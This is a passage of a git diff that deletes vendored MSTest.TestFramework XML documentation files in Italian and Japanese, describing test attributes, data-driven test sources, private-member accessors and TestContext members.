- - Il test è stato eseguito senza problemi. - - - - - Il test è attualmente in corso. - - - - - Si è verificato un errore di sistema durante il tentativo di eseguire un test. - - - - - Timeout del test. - - - - - Il test è stato interrotto dall'utente. - - - - - Il test si trova in uno stato sconosciuto - - - - - Fornisce la funzionalità di helper per il framework degli unit test - - - - - Ottiene i messaggi di eccezione in modo ricorsivo, inclusi quelli relativi a - tutte le eccezioni interne - - Eccezione per cui ottenere i messaggi - stringa con le informazioni sul messaggio di errore - - - - Enumerazione per i timeout, che può essere usata con la classe . - Il tipo dell'enumerazione deve corrispondere - - - - - Valore infinito. - - - - - Attributo della classe di test. - - - - - Ottiene un attributo di metodo di test che consente di eseguire questo test. - - Istanza di attributo del metodo di test definita in questo metodo. - Oggetto da usare per eseguire questo test. - Extensions can override this method to customize how all methods in a class are run. - - - - Attributo del metodo di test. - - - - - Esegue un metodo di test. - - Metodo di test da eseguire. - Matrice di oggetti TestResult che rappresentano il risultato o i risultati del test. - Extensions can override this method to customize running a TestMethod. - - - - Attributo di inizializzazione test. - - - - - Attributo di pulizia dei test. - - - - - Attributo ignore. - - - - - Attributo della proprietà di test. - - - - - Inizializza una nuova istanza della classe . - - - Nome. - - - Valore. - - - - - Ottiene il nome. - - - - - Ottiene il valore. - - - - - Attributo di inizializzazione classi. - - - - - Attributo di pulizia delle classi. - - - - - Attributo di inizializzazione assembly. - - - - - Attributo di pulizia degli assembly. - - - - - Proprietario del test - - - - - Inizializza una nuova istanza della classe . - - - Proprietario. - - - - - Ottiene il proprietario. - - - - - Attributo Priority; usato per specificare la priorità di uno unit test. - - - - - Inizializza una nuova istanza della classe . - - - Priorità. - - - - - Ottiene la priorità. - - - - - Descrizione del test - - - - - Inizializza una nuova istanza della classe per descrivere un test. - - Descrizione. - - - - Ottiene la descrizione di un test. - - - - - URI della struttura di progetto CSS - - - - - Inizializza una nuova istanza della classe per l'URI della struttura di progetto CSS. - - URI della struttura di progetto CSS. - - - - Ottiene l'URI della struttura di progetto CSS. - - - - - URI dell'iterazione CSS - - - - - Inizializza una nuova istanza della classe per l'URI dell'iterazione CSS. - - URI dell'iterazione CSS. - - - - Ottiene l'URI dell'iterazione CSS. - - - - - Attributo WorkItem; usato per specificare un elemento di lavoro associato a questo test. - - - - - Inizializza una nuova istanza della classe per l'attributo WorkItem. - - ID di un elemento di lavoro. - - - - Ottiene l'ID di un elemento di lavoro associato. - - - - - Attributo Timeout; usato per specificare il timeout di uno unit test. - - - - - Inizializza una nuova istanza della classe . - - - Timeout. - - - - - Inizializza una nuova istanza della classe con un timeout preimpostato - - - Timeout - - - - - Ottiene il timeout. - - - - - Oggetto TestResult da restituire all'adattatore. - - - - - Inizializza una nuova istanza della classe . - - - - - Ottiene o imposta il nome visualizzato del risultato. Utile quando vengono restituiti più risultati. - Se è Null, come nome visualizzato viene usato il nome del metodo. - - - - - Ottiene o imposta il risultato dell'esecuzione dei test. - - - - - Ottiene o imposta l'eccezione generata quando il test non viene superato. - - - - - Ottiene o imposta l'output del messaggio registrato dal codice del test. - - - - - Ottiene o imposta l'output del messaggio registrato dal codice del test. - - - - - Ottiene o imposta le tracce di debug in base al codice del test. - - - - - Gets or sets the debug traces by test code. - - - - - Ottiene o imposta la durata dell'esecuzione dei test. - - - - - Ottiene o imposta l'indice della riga di dati nell'origine dati. Impostare solo per risultati di singole - esecuzioni della riga di dati di un test basato sui dati. - - - - - Ottiene o imposta il valore restituito del metodo di test. Attualmente è sempre Null. - - - - - Ottiene o imposta i file di risultati allegati dal test. - - - - - Specifica la stringa di connessione, il nome tabella e il metodo di accesso alle righe per test basati sui dati. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nome del provider predefinito per DataSource. - - - - - Metodo predefinito di accesso ai dati. - - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con un provider di dati, la stringa di connessione, la tabella dati e il metodo di accesso ai dati per accedere all'origine dati. - - Nome del provider di dati non dipendente da paese/area geografica, ad esempio System.Data.SqlClient - - Stringa di connessione specifica del provider di dati. - AVVISO: la stringa di connessione può contenere dati sensibili, ad esempio una password. - La stringa di connessione è archiviata in formato testo normale nel codice sorgente e nell'assembly compilato. - Limitare l'accesso al codice sorgente e all'assembly per proteggere questi dati sensibili. - - Nome della tabella dati. - Specifica l'ordine per l'accesso ai dati. - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con una stringa di connessione e un nome tabella. - Specificare la stringa di connessione e la tabella dati per accedere all'origine dati OLEDB. - - - Stringa di connessione specifica del provider di dati. - AVVISO: la stringa di connessione può contenere dati sensibili, ad esempio una password. - La stringa di connessione è archiviata in formato testo normale nel codice sorgente e nell'assembly compilato. - Limitare l'accesso al codice sorgente e all'assembly per proteggere questi dati sensibili. - - Nome della tabella dati. - - - - Inizializza una nuova istanza della classe . Questa istanza verrà inizializzata con un provider di dati e la stringa di connessione associata al nome dell'impostazione. - - Nome di un'origine dati trovata nella sezione <microsoft.visualstudio.qualitytools> del file app.config. - - - - Ottiene un valore che rappresenta il provider di dati dell'origine dati. - - - Nome del provider di dati. Se non è stato designato un provider di dati durante l'inizializzazione dell'oggetto, verrà restituito il provider predefinito di System.Data.OleDb. - - - - - Ottiene un valore che rappresenta la stringa di connessione per l'origine dati. - - - - - Ottiene un valore che indica il nome della tabella che fornisce i dati. - - - - - Ottiene il metodo usato per accedere all'origine dati. - - - - Uno dei valori di . Se non è inizializzato, restituirà il valore predefinito . - - - - - Ottiene il nome di un'origine dati trovata nella sezione <microsoft.visualstudio.qualitytools> del file app.config. - - - - - Attributo per il test basato sui dati in cui è possibile specificare i dati inline. - - - - - Trova tutte le righe di dati e le esegue. - - - Metodo di test. - - - Matrice di istanze di . - - - - - Esegue il metodo di test basato sui dati. - - Metodo di test da eseguire. - Riga di dati. - Risultati dell'esecuzione. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 629a4bc5..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - テスト配置ごとに配置項目 (ファイルまたはディレクトリ) を指定するために使用されます。 - テスト クラスまたはテスト メソッドで指定できます。 - 属性に複数のインスタンスを指定して、2 つ以上の項目を指定することができます。 - 項目のパスには絶対パスまたは相対パスを指定できます。相対パスの場合は、RunConfig.RelativePathRoot からの相対パスです。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - クラスの新しいインスタンスを初期化します。 - - 配置するファイルまたはディレクトリ。パスはビルドの出力ディレクトリの相対パスです。項目は配置されたテスト アセンブリと同じディレクトリにコピーされます。 - - - - クラスの新しいインスタンスを初期化する - - 配置するファイルまたはディレクトリへの相対パスまたは絶対パス。パスはビルドの出力ディレクトリの相対パスです。項目は配置されたテスト アセンブリと同じディレクトリにコピーされます。 - アイテムのコピー先のディレクトリのパス。配置ディレクトリへの絶対パスまたは相対パスのいずれかを指定できます。次で識別されるすべてのファイルとディレクトリは このディレクトリにコピーされます。 - - - - コピーするソース ファイルまたはフォルダーのパスを取得します。 - - - - - 項目のコピー先のディレクトリのパスを取得します。 - - - - - セクション、プロパティ、属性の名前のリテラルが含まれています。 - - - - - 構成セクション名。 - - - - - Beta2 の構成セクション名。互換性のために残されています。 - - - - - データ ソースのセクション名。 - - - - - 'Name' の属性名 - - - - - 'ConnectionString' の属性名 - - - - - 'DataAccessMethod' の属性名 - - - - - 'DataTable' の属性名 - - - - - データ ソース要素。 - - - - - この構成の名前を取得または設定します。 - - - - - .config ファイルの <connectionStrings> セクションの ConnectionStringSettings 要素を取得または設定します。 - - - - - データ テーブルの名前を取得または設定します。 - - - - - データ アクセスの種類を取得または設定します。 - - - - - キー名を取得します。 - - - - - 構成プロパティを取得します。 - - - - - データ ソース要素コレクション。 - - - - - クラスの新しいインスタンスを初期化します。 - - - - - 指定したキーを含む構成要素を返します。 - - 返される要素のキー。 - 指定したキーを持つ System.Configuration.ConfigurationElement。それ以外の場合は、null。 - - - - 指定したインデックスの場所の構成要素を取得します。 - - 返される System.Configuration.ConfigurationElement のインデックスの場所。 - - - - 構成要素を構成要素コレクションに追加します。 - - 追加する System.Configuration.ConfigurationElement。 - - - - コレクションから System.Configuration.ConfigurationElement を削除します。 - - 。 - - - - コレクションから System.Configuration.ConfigurationElement を削除します。 - - 削除する System.Configuration.ConfigurationElement のキー。 - - - - コレクションからすべての構成要素オブジェクトを削除します。 - - - - - 新しい を作成します。 - - 新しい - - - - 指定した構成要素の要素キーを取得します。 - - キーを返す対象の System.Configuration.ConfigurationElement。 - 指定した System.Configuration.ConfigurationElement のキーとして機能する System.Object。 - - - - 構成要素を構成要素コレクションに追加します。 - - 追加する System.Configuration.ConfigurationElement。 - - - - 構成要素を構成要素コレクションに追加します。 - - 指定した System.Configuration.ConfigurationElement を追加するインデックスの場所。 - 追加する System.Configuration.ConfigurationElement。 - - - - テストの構成設定のサポート。 - - - - - テスト用の構成セクションを取得します。 - - - - - テスト用の構成セクション。 - - - - - この構成セクションのデータ ソースを取得します。 - - - - - プロパティのコレクションを取得します。 - - - その (要素のプロパティ)。 - - - - - このクラスは、システム内のパブリックでないライブ内部オブジェクトを表します - - - - - プライベート クラスの既存のオブジェクトを含んでいる - クラスの新しいインスタンスを初期化します - - プライベート メンバーに到達するための開始点となるオブジェクト - m_X.m_Y.m_Z として取得するオブジェクトを指し示す "." を使用する逆参照文字列 - - - - 指定された型をラップする クラスの新しいインスタンスを - 初期化します。 - - アセンブリの名前 - 完全修飾名 - コンストラクターに渡す引数 - - - - 指定された型をラップする クラスの新しいインスタンスを - 初期化します。 - - アセンブリの名前 - 完全修飾名 - 配列: 取得するコンストラクターのパラメーターの数、順番、型を表すオブジェクト - コンストラクターに渡す引数 - - - - 指定された型をラップする クラスの新しいインスタンスを - 初期化します。 - - 作成するオブジェクトの型 - コンストラクターに渡す引数 - - - - 指定された型をラップする クラスの新しいインスタンスを - 初期化します。 - - 作成するオブジェクトの型 - 配列: 取得するコンストラクターのパラメーターの数、順番、型を表すオブジェクト - コンストラクターに渡す引数 - - - - 指定されたオブジェクトをラップする クラスの新しいインスタンスを - 初期化します。 - - ラップするオブジェクト - - - - 指定されたオブジェクトをラップする クラスの新しいインスタンスを - 初期化します。 - - ラップするオブジェクト - PrivateType オブジェクト - - - - ターゲットを取得または設定します - - - - - 基になるオブジェクトの型を取得します - - - - - 対象オブジェクトのハッシュ コードを返す - - 対象オブジェクトのハッシュコードを表す int - - - - 次の値と等しい - - 比較対象のオブジェクト - オブジェクトが等しい場合は True を返します。 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 呼び出すメンバーに渡す引数。 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 配列: 取得するメソッドのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 配列: 取得するメソッドのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - ジェネリック引数の型に対応する型の配列。 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 呼び出すメンバーに渡す引数。 - カルチャ情報 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 配列: 取得するメソッドのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - カルチャ情報 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 呼び出すメンバーに渡す引数。 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 配列: 取得するメソッドのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 呼び出すメンバーに渡す引数。 - カルチャ情報 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 配列: 取得するメソッドのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - カルチャ情報 - メソッド呼び出しの結果 - - - - 指定されたメソッドを呼び出す - - メソッドの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 配列: 取得するメソッドのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - カルチャ情報 - ジェネリック引数の型に対応する型の配列。 - メソッド呼び出しの結果 - - - - 各ディメンションに下付き文字の配列を使用して配列要素を取得する - - メンバーの名前 - 配列のインデックス - 要素の配列。 - - - - 各ディメンションに下付き文字の配列を使用して配列要素を設定する - - メンバーの名前 - 設定する値 - 配列のインデックス - - - - 各ディメンションに下付き文字の配列を使用して配列要素を取得する - - メンバーの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 配列のインデックス - 要素の配列。 - - - - 各ディメンションに下付き文字の配列を使用して配列要素を設定する - - メンバーの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 設定する値 - 配列のインデックス - - - - フィールドを取得する - - フィールドの名前 - フィールド。 - - - - フィールドを設定する - - フィールドの名前 - 設定する値 - - - - フィールドを取得する - - フィールドの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - フィールド。 - - - - フィールドを設定する - - フィールドの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 設定する値 - - - - フィールドまたはプロパティを取得する - - フィールドまたはプロパティの名前 - フィールドまたはプロパティ。 - - - - フィールドまたはプロパティを設定する - - フィールドまたはプロパティの名前 - 設定する値 - - - - フィールドまたはプロパティを取得する - - フィールドまたはプロパティの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - フィールドまたはプロパティ。 - - - - フィールドまたはプロパティを設定する - - フィールドまたはプロパティの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 設定する値 - - - - プロパティを取得する - - プロパティの名前 - 呼び出すメンバーに渡す引数。 - プロパティ。 - - - - プロパティを取得する - - プロパティの名前 - 配列: インデックス付きプロパティのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - プロパティ。 - - - - プロパティを設定する - - プロパティの名前 - 設定する値 - 呼び出すメンバーに渡す引数。 - - - - プロパティを設定する - - プロパティの名前 - 配列: インデックス付きプロパティのパラメーターの数、順番、型を表すオブジェクト。 - 設定する値 - 呼び出すメンバーに渡す引数。 - - - - プロパティを取得する - - プロパティの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 呼び出すメンバーに渡す引数。 - プロパティ。 - - - - プロパティを取得する - - プロパティの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 配列: インデックス付きプロパティのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - プロパティ。 - - - - プロパティを設定する - - プロパティの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 設定する値 - 呼び出すメンバーに渡す引数。 - - - - プロパティを設定する - - プロパティの名前 - 1 つまたは複数の以下のもので構成されるビットマスク 検索の実行方法を指定します。 - 設定する値 - 配列: インデックス付きプロパティのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - - - - アクセス文字列を検証する - - アクセス文字列 - - - - メンバーを呼び出す - - メンバーの名前 - 追加の属性 - 呼び出しの引数 - カルチャ - 呼び出しの結果 - - - - 現在のプライベート型から最も適切なジェネリック メソッド シグネチャを抽出します。 - - シグネチャ キャッシュを検索するメソッドの名前。 - 検索対象のパラメーターの型に対応する型の配列。 - ジェネリック引数の型に対応する型の配列。 - メソッド シグネチャをさらにフィルターするため。 - パラメーターの修飾子。 - Methodinfo インスタンス。 - - - - このクラスは、プライベート アクセサー機能のプライベート クラスを表します。 - - - - - すべてにバインドする - - - - - ラップされた型。 - - - - - プライベート型を含む クラスの新しいインスタンスを初期化します。 - - アセンブリ名 - 完全修飾名: - - - - Initializes a new instance of the class that contains - the private type from the type object - - 作成するラップされた型。 - - - - 参照型を取得する - - - - - 静的メンバーを呼び出す - - InvokeHelper に対するメンバーの名前 - 呼び出しに対する引数 - 呼び出しの結果 - - - - 静的メンバーを呼び出す - - InvokeHelper に対するメンバーの名前 - 配列: 呼び出すメソッドのパラメーターの数値、順序、および型を表すオブジェクト - 呼び出しに対する引数 - 呼び出しの結果 - - - - 静的メンバーを呼び出す - - InvokeHelper に対するメンバーの名前 - 配列: 呼び出すメソッドのパラメーターの数値、順序、および型を表すオブジェクト - 呼び出しに対する引数 - ジェネリック引数の型に対応する型の配列。 - 呼び出しの結果 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 呼び出しに対する引数 - カルチャ - 呼び出しの結果 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 配列: 呼び出すメソッドのパラメーターの数値、順序、および型を表すオブジェクト - 呼び出しに対する引数 - カルチャ情報 - 呼び出しの結果 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 追加の呼び出し属性 - 呼び出しに対する引数 - 呼び出しの結果 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 追加の呼び出し属性 - 配列: 呼び出すメソッドのパラメーターの数値、順序、および型を表すオブジェクト - 呼び出しに対する引数 - 呼び出しの結果 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 追加の呼び出し属性 - 呼び出しに対する引数 - カルチャ - 呼び出しの結果 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 追加の呼び出し属性 - /// 配列: 呼び出すメソッドのパラメーターの数値、順序、および型を表すオブジェクト - 呼び出しに対する引数 - カルチャ - 呼び出しの結果 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 追加の呼び出し属性 - /// 配列: 呼び出すメソッドのパラメーターの数値、順序、および型を表すオブジェクト - 呼び出しに対する引数 - カルチャ - ジェネリック引数の型に対応する型の配列。 - 呼び出しの結果 - - - - 静的配列内の要素を取得する - - 配列の名前 - - 取得する要素の位置を指定するインデックスを表す 32 ビット整数 - の 1 次元配列。たとえば、[10][11] にアクセスする場合には、インデックスは {10,11} になります - - 指定した場所の要素 - - - - 静的配列のメンバーを設定する - - 配列の名前 - 設定する値 - - 設定する要素の位置を指定するインデックスを表す 32 ビット整数 - の 1 次元配列。たとえば、[10][11] にアクセスする場合には、配列は {10,11} になります - - - - - 静的配列の要素を取得します - - 配列の名前 - 追加の InvokeHelper 属性 - - 取得する要素の位置を指定するインデックスを表す 32 ビット整数 - の 1 次元配列。たとえば、[10][11] にアクセスする場合には、配列は {10,11} になります - - 指定した場所の要素 - - - - 静的配列のメンバーを設定する - - 配列の名前 - 追加の InvokeHelper 属性 - 設定する値 - - 設定する要素の位置を指定するインデックスを表す 32 ビット整数 - の 1 次元配列。たとえば、[10][11] にアクセスする場合には、配列は {10,11} になります - - - - - 静的フィールドを取得する - - フィールドの名前 - 静的フィールド。 - - - - 静的フィールドを設定する - - フィールドの名前 - 呼び出しに対する引数 - - - - 指定した InvokeHelper 属性を使用して静的フィールドを取得する - - フィールドの名前 - 追加の呼び出し属性 - 静的フィールド。 - - - - バインド属性を使用して静的フィールドを設定する - - フィールドの名前 - 追加の InvokeHelper 属性 - 呼び出しに対する引数 - - - - 静的フィールドまたは静的プロパティを取得する - - フィールドまたはプロパティの名前 - 静的フィールドまたはプロパティ。 - - - - 静的フィールドまたは静的プロパティを設定する - - フィールドまたはプロパティの名前 - フィールドまたはプロパティに設定する値 - - - - 指定した InvokeHelper 属性を使用して、静的フィールドまたは静的プロパティを取得する - - フィールドまたはプロパティの名前 - 追加の呼び出し属性 - 静的フィールドまたはプロパティ。 - - - - バインド属性を使用して、静的フィールドまたは静的プロパティを設定する - - フィールドまたはプロパティの名前 - 追加の呼び出し属性 - フィールドまたはプロパティに設定する値 - - - - 静的プロパティを取得する - - フィールドまたはプロパティの名前 - 呼び出しに対する引数 - 静的プロパティ。 - - - - 静的プロパティを設定する - - プロパティの名前 - フィールドまたはプロパティに設定する値 - 呼び出すメンバーに渡す引数。 - - - - 静的プロパティを設定する - - プロパティの名前 - フィールドまたはプロパティに設定する値 - 配列: インデックス付きプロパティのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - - - - 静的プロパティを取得する - - プロパティの名前 - 追加の呼び出し属性。 - 呼び出すメンバーに渡す引数。 - 静的プロパティ。 - - - - 静的プロパティを取得する - - プロパティの名前 - 追加の呼び出し属性。 - 配列: インデックス付きプロパティのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - 静的プロパティ。 - - - - 静的プロパティを設定する - - プロパティの名前 - 追加の呼び出し属性。 - フィールドまたはプロパティに設定する値 - インデックス付きプロパティのオプションのインデックス値。インデックス付きプロパティのインデックスは 0 から始まります。インデックスのないプロパティについては、この値は null である必要があります。 - - - - 静的プロパティを設定する - - プロパティの名前 - 追加の呼び出し属性。 - フィールドまたはプロパティに設定する値 - 配列: インデックス付きプロパティのパラメーターの数、順番、型を表すオブジェクト。 - 呼び出すメンバーに渡す引数。 - - - - 静的メソッドを呼び出す - - メンバーの名前 - 追加の呼び出し属性 - 呼び出しに対する引数 - カルチャ - 呼び出しの結果 - - - - ジェネリック メソッドのメソッド シグネチャを検出します。 - - - - - これらの 2 つのメソッドのメソッド シグネチャを比較します。 - - Method1 - Method2 - 類似している場合は True。 - - - - 指定した型の基本データ型から階層の深さを取得します。 - - 型。 - 深さ。 - - - - 指定された情報を使用して最派生型を検索します。 - - 候補の一致。 - 一致の数。 - 最派生メソッド。 - - - - 基本条件に一致するメソッドのセットを指定して、型の配列に - 基づいてメソッドを選択します。条件に - 一致するメソッドがない場合、このメソッドは null を返します。 - - バインドの指定。 - 候補の一致 - 型 - パラメーター修飾子。 - 一致するメソッド。一致が見つからない場合は null。 - - - - 指定されている 2 つのメソッドのうち、より特定性の高いメソッドを判別します。 - - メソッド 1 - メソッド 1 のパラメーターの順序 - パラメーターの配列型。 - メソッド 2 - メソッド 2 のパラメーターの順序 - >パラメーターの配列型。 - 検索する型。 - 引数。 - 一致を表す int。 - - - - 指定されている 2 つのメソッドのうち、より特定性の高いメソッドを判別します。 - - メソッド 1 - メソッド 1 のパラメーターの順序 - パラメーターの配列型。 - メソッド 2 - メソッド 2 のパラメーターの順序 - >パラメーターの配列型。 - 検索する型。 - 引数。 - 一致を表す int。 - - - - 指定されている 2 つのうち、より特定性の高い型を判別します。 - - 型 1 - 型 2 - 定義する型 - 一致を表す int。 - - - - 単体テストに提供される情報を保存するために使用されます。 - - - - - テストのテスト プロパティを取得します。 - - - - - テストがデータ ドリブン テストで使用されるときに現在のデータ行を取得します。 - - - - - テストがデータ ドリブン テストで使用されるときに現在のデータ接続行を取得します。 - - - - - テストの実行の基本ディレクトリを取得します。配置されたファイルと結果ファイルはそのディレクトリに格納されます。 - - - - - テストの実行のために配置されたファイルのディレクトリを取得します。通常は、 のサブディレクトリです。 - - - - - テストの実行の結果の基本ディレクトリを取得します。通常は、 のサブディレクトリです。 - - - - - テストの実行の結果ファイル用のディレクトリを取得します。通常は、 のサブディレクトリです。 - - - - - テスト結果ファイルのディレクトリを取得します。 - - - - - テストの実行の基本ディレクトリを取得します。配置されたファイルと結果ファイルはそのディレクトリに格納されます。 - と同じであり、代わりにそのプロパティをご使用ください。 - - - - - テストの実行のために配置されたファイルのディレクトリを取得します。通常は、 のサブディレクトリです。 - と同じであり、代わりにそのプロパティをご使用ください。 - - - - - テストの実行の結果ファイル用のディレクトリを取得します。通常は、 のサブディレクトリです。 - と同じであり、テストの実行の結果ファイルのそのプロパティを使用するか、 - その代わりにテスト固有の結果ファイルの をご使用ください。 - - - - - 現在実行されているテスト メソッドを含むクラスの完全修飾名を取得します - - - - - 現在実行中のテスト メソッドの名前を取得します - - - - - 現在のテスト成果を取得します。 - - - - - テストの実行中にトレース メッセージを書き込むために使用されます - - 書式設定されたメッセージ文字列 - - - - テストの実行中にトレース メッセージを書き込むために使用されます - - 書式設定文字列 - 引数 - - - - TestResult.ResultFileNames の一覧にファイル名を追加する - - - ファイル名。 - - - - - 指定した名前のタイマーを開始する - - タイマーの名前。 - - - - 指定した名前のタイマーを終了する - - タイマーの名前。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 922b5b17..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ja/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 実行用の TestMethod。 - - - - - テスト メソッドの名前を取得します。 - - - - - テスト クラスの名前を取得します。 - - - - - テスト メソッドの戻り値の型を取得します。 - - - - - テスト メソッドのパラメーターを取得します。 - - - - - テスト メソッドの methodInfo を取得します。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - テスト メソッドを呼び出します。 - - - テスト メソッドに渡す引数。(データ ドリブンの場合など) - - - テスト メソッド呼び出しの結果。 - - - This call handles asynchronous test methods as well. - - - - - テスト メソッドのすべての属性を取得します。 - - - 親クラスで定義されている属性が有効かどうか。 - - - すべての属性。 - - - - - 特定の型の属性を取得します。 - - System.Attribute type. - - 親クラスで定義されている属性が有効かどうか。 - - - 指定した種類の属性。 - - - - - ヘルパー。 - - - - - null でない確認パラメーター。 - - - パラメーター。 - - - パラメーター名。 - - - メッセージ。 - - Throws argument null exception when parameter is null. - - - - null または空でない確認パラメーター。 - - - パラメーター。 - - - パラメーター名。 - - - メッセージ。 - - Throws ArgumentException when parameter is null. - - - - データ ドリブン テストのデータ行にアクセスする方法の列挙型。 - - - - - 行は順番に返されます。 - - - - - 行はランダムに返されます。 - - - - - テスト メソッドのインライン データを定義する属性。 - - - - - クラスの新しいインスタンスを初期化します。 - - データ オブジェクト。 - - - - 引数の配列を受け入れる クラスの新しいインスタンスを初期化します。 - - データ オブジェクト。 - 追加のデータ。 - - - - テスト メソッドを呼び出すデータを取得します。 - - - - - カスタマイズするために、テスト結果の表示名を取得または設定します。 - - - - - assert inconclusive 例外。 - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - InternalTestFailureException クラス。テスト ケースの内部エラーを示すために使用されます - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - クラスの新しいインスタンスを初期化します。 - - 例外メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - 例外メッセージ。 - - - - クラスの新しいインスタンスを初期化します。 - - - - - 指定した型の例外を予期するよう指定する属性 - - - - - 予期される型を指定して、 クラスの新しいインスタンスを初期化する - - 予期される例外の型 - - - - 予期される型と、テストで例外がスローされない場合に含めるメッセージとを指定して - クラスの新しいインスタンスを初期化します。 - - 予期される例外の型 - - 例外がスローされなかったことが原因でテストが失敗した場合に、テスト結果に含まれるメッセージ - - - - - 予期される例外の型を示す値を取得する - - - - - 予期される例外の型から派生した型を予期される型として使用できるかどうかを示す値を - 取得または設定する - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 単体テストでスローされる例外の型が予期される型であることを検証する - - 単体テストでスローされる例外 - - - - 単体テストからの例外を予期するように指定する属性の基底クラス - - - - - 既定の例外なしメッセージを指定して クラスの新しいインスタンスを初期化する - - - - - 例外なしメッセージを指定して クラスの新しいインスタンスを初期化します - - - 例外がスローされなかったことが原因でテストが失敗した場合に、 - テスト結果に含まれるメッセージ - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 例外がスローされなかったためにテストが失敗した場合にテスト結果に含めるメッセージを取得する - - - - - 既定の例外なしメッセージを取得する - - ExpectedException 属性の型名 - 既定の例外なしメッセージ - - - - 例外が予期されているかどうかを判断します。メソッドが戻る場合は、 - 例外が予期されていたと解釈されます。メソッドが例外をスローする場合は、 - 例外が予期されていなかったと解釈され、スローされた例外のメッセージが - テスト結果に含められます。便宜上、 クラスを使用できます。 - が使用され、アサーションが失敗すると、 - テスト成果は [結果不確定] に設定されます。 - - 単体テストでスローされる例外 - - - - AssertFailedException または AssertInconclusiveException 